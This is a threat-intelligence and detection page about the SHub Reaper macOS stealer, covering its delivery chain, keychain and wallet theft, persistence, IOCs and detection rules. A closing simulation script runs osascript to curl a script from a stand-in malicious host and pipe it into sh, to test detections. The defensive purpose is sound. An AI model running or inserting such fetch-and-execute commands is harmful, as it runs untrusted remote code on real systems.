SHub Reaper | macOS Stealer Spoofs Apple, Google, and Microsoft in a Single Attack Chain
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The report analyzes a new macOS infostealer variant called SHub Reaper, which uses fake WeChat and Miro installers to deliver a malicious AppleScript payload through a typo-squatted Microsoft-themed domain. Once launched in Script Editor, the payload collects browser data, cryptocurrency wallet files, and keychain information, then exfiltrates the stolen content as chunked ZIP archives. The malware also tampers with wallet files and establishes persistence through a LaunchAgent disguised as a Google software update. Recommended detection focuses on AppleScript execution, suspicious LaunchAgent creation, and outbound traffic to the known command-and-control infrastructure.
Investigation
SentinelOne tracked the full multi-stage delivery chain, including abuse of the applescript:// scheme, dynamic generation of the AppleScript payload, and a file-grabbing module that mirrors the document theft behavior seen in AMOS. Researchers captured network traffic to the command-and-control domain hebsbsbzjsjshduxbs.xyz and related endpoints, along with creation of temporary files under /tmp and a LaunchAgent placed in the user’s Library directory. The investigation also uncovered hard-coded Telegram bot functionality used for operator telemetry.
Mitigation
Defenders should block access to the typo-squatted domains mlcrosoft.co.com, qq-0732gwh22.com, and mlroweb.com, and monitor for LaunchAgents created under paths that imitate Google update components. Application allow-listing should be used to restrict AppleScript execution from untrusted sources, and strict code-signing verification should be enforced. Network detections should also alert on communication with the identified command-and-control domain and its known API paths.
Response
If SHub Reaper activity is detected, isolate the affected endpoint immediately, terminate any suspicious AppleScript or LaunchAgent processes, and remove the malicious files from /tmp and the user Library. Investigators should then perform full forensic collection of browser data stores, wallet directories, and credential repositories, followed by credential resets where compromise is suspected. The identified command-and-control infrastructure should be blocked, and the incident response team should begin broader threat hunting across the environment.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Nodes u2013 Attack Steps step_initial_access["<b>Technique</b> – <b>T1659 Content Injection</b>: Compromised lure websites (fake WeChat or Miro) host malicious applescript:// URLs that deliver the payload"] class step_initial_access action step_execution["<b>Technique</b> – <b>T1027 Obfuscated Files or Information</b>: AppleScript opened in Script Editor runs a hidden base64u2011encoded curl call that decodes and executes the stager"] class step_execution action step_code_retrieval["<b>Technique</b> – <b>T1505 Server Software Component</b>: AppleScript downloads core malicious AppleScript from a remote server"] class step_code_retrieval action step_credential_capture["<b>Technique</b> – <b>T1056 Input Capture</b>: AppleScript prompts the user for a password and harvests Keychain data"] class step_credential_capture action step_data_collection["<b>Technique</b> – <b>T1074.001 Local Data Staging</b>: Filegrabber scans Desktop and Documents for target extensions and stages them in /tmp/shub_<rand>"] class step_data_collection action step_archive["<b>Technique</b> – <b>T1560.001 Archive via Utility</b>: Collected files are zipped and split into 70u202fMB chunks"] class step_archive action step_exfiltration["<b>Technique</b> – <b>T1011 Exfiltration Over Other Network Medium</b>: Chunks are uploaded via HTTPS to the commandu2011andu2011control server"] class step_exfiltration action step_wallet_hijack["<b>Techniques</b> – <b>T1553.002 Code Signing</b> and <b>T1036.001 Masquerading</b>: Malicious app.asar files replace legitimate wallet binaries, using adu2011hoc or invalid code signatures to bypass Gatekeeper"] class step_wallet_hijack action step_persistence["<b>Techniques</b> – <b>T1037.002 Login Hook</b>, <b>T1176 Software Extensions</b> and <b>T1574.007 Path Interception</b>: Fake Google Software Update directory with a LaunchAgent plist (com.google.keystone.agent.plist) placed in PATH to achieve persistent execution"] class step_persistence action step_backdoor["<b>Technique</b> – <b>T1219 Remote Access Tools</b>: LaunchAgent executes GoogleUpdate script every 60u202fs, beacons to /api/bot/heartbeat and can run additional commands"] class step_backdoor malware %% Nodes u2013 Tools / Components tool_applescript["<b>Tool</b> – <b>Name</b>: AppleScript<br/><b>Description</b>: Script executed via Script Editor to decode and launch the payload"] class tool_applescript tool tool_curl["<b>Tool</b> – <b>Name</b>: curl<br/><b>Description</b>: Used to download additional AppleScript and data files over HTTPS"] class tool_curl tool tool_launchagent["<b>Tool</b> – <b>Name</b>: LaunchAgent<br/><b>Description</b>: macOS useru2011level persistence mechanism defined by a plist"] class tool_launchagent tool malware_stager["<b>Malware</b> – <b>Name</b>: Stager<br/><b>Description</b>: Small loader that fetches the main AppleScript payload"] class malware_stager malware %% Edges u2013 Flow step_initial_access –>|leads to| step_execution step_execution –>|uses| tool_applescript step_execution –>|executes| malware_stager malware_stager –>|downloads via| tool_curl malware_stager –>|triggers| step_code_retrieval step_code_retrieval –>|uses| tool_curl step_code_retrieval –>|enables| step_credential_capture step_credential_capture –>|captures| step_data_collection step_data_collection –>|stages files for| step_archive step_archive –>|creates chunks for| step_exfiltration step_exfiltration –>|delivers to| step_wallet_hijack step_wallet_hijack –>|modifies| step_persistence step_persistence –>|installs| tool_launchagent tool_launchagent –>|provides| step_backdoor step_backdoor –>|acts as| malware_stager %% Class Assignments class step_initial_access,step_execution,step_code_retrieval,step_credential_capture,step_data_collection,step_archive,step_exfiltration,step_wallet_hijack,step_persistence,step_backdoor action class tool_applescript,tool_curl,tool_launchagent tool class malware_stager,step_backdoor malware "
Attack Flow
Detections
Possible IP Lookup Domain Communications Attempted (via dns)
View
Forced Code Signing of Modified Application Bundle (via cmdline)
View
MacOS Archive Utility Pointing To Suspicious Directory (via cmdline)
View
Suspicious Curl Execution Attempt [MacOS] (via cmdline)
View
Archive Was Created In MacOS Temporary Folder (via file_event)
View
Possible Base64 Encoded Strings Manipulation (via cmdline)
View
IOCs (HashSha256) to detect: SHub Reaper | macOS Stealer Spoofs Apple, Google, and Microsoft in a Single Attack Chain
View
IOCs (HashMd5) to detect: SHub Reaper | macOS Stealer Spoofs Apple, Google, and Microsoft in a Single Attack Chain
View
Detection of SHub Reaper Infection Chain Using Typo-Squatted and C2 Domains [Webserver]
View
Detect SHub Reaper Malware Execution via AppleScript and Curl [Linux Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
The attacker crafts a concise one‑liner that leveragesosascriptto execute a shell command. Within the AppleScript,do shell scriptrunscurlto download a remote shell script (payload.sh) and pipes it directly intoshfor execution. Because the entire chain is embedded in a single AppleScript invocation, macOS logs a singleprocess_creationevent whose command line contains bothosascriptandcurl, satisfying the detection rule. -
Regression Test Script:
#!/bin/bash # # Simulate SHub Reaper execution on macOS # Generates a single process_creation event containing both 'osascript' and 'curl' # MALICIOUS_URL="https://malicious.example.com/payload.sh" # One‑liner: osascript runs a shell command that curls the payload and executes it osascript -e "do shell script "curl -s ${MALICIOUS_URL} | sh"" -
Cleanup Commands:
#!/bin/bash # # Clean up any artefacts created by the simulation. # The payload runs in memory and does not write files, but we ensure no lingering processes. # # Kill any stray 'sh' processes started by the test (use with caution on production systems) pkill -f "sh -c curl -s https://malicious.example.com/payload.sh"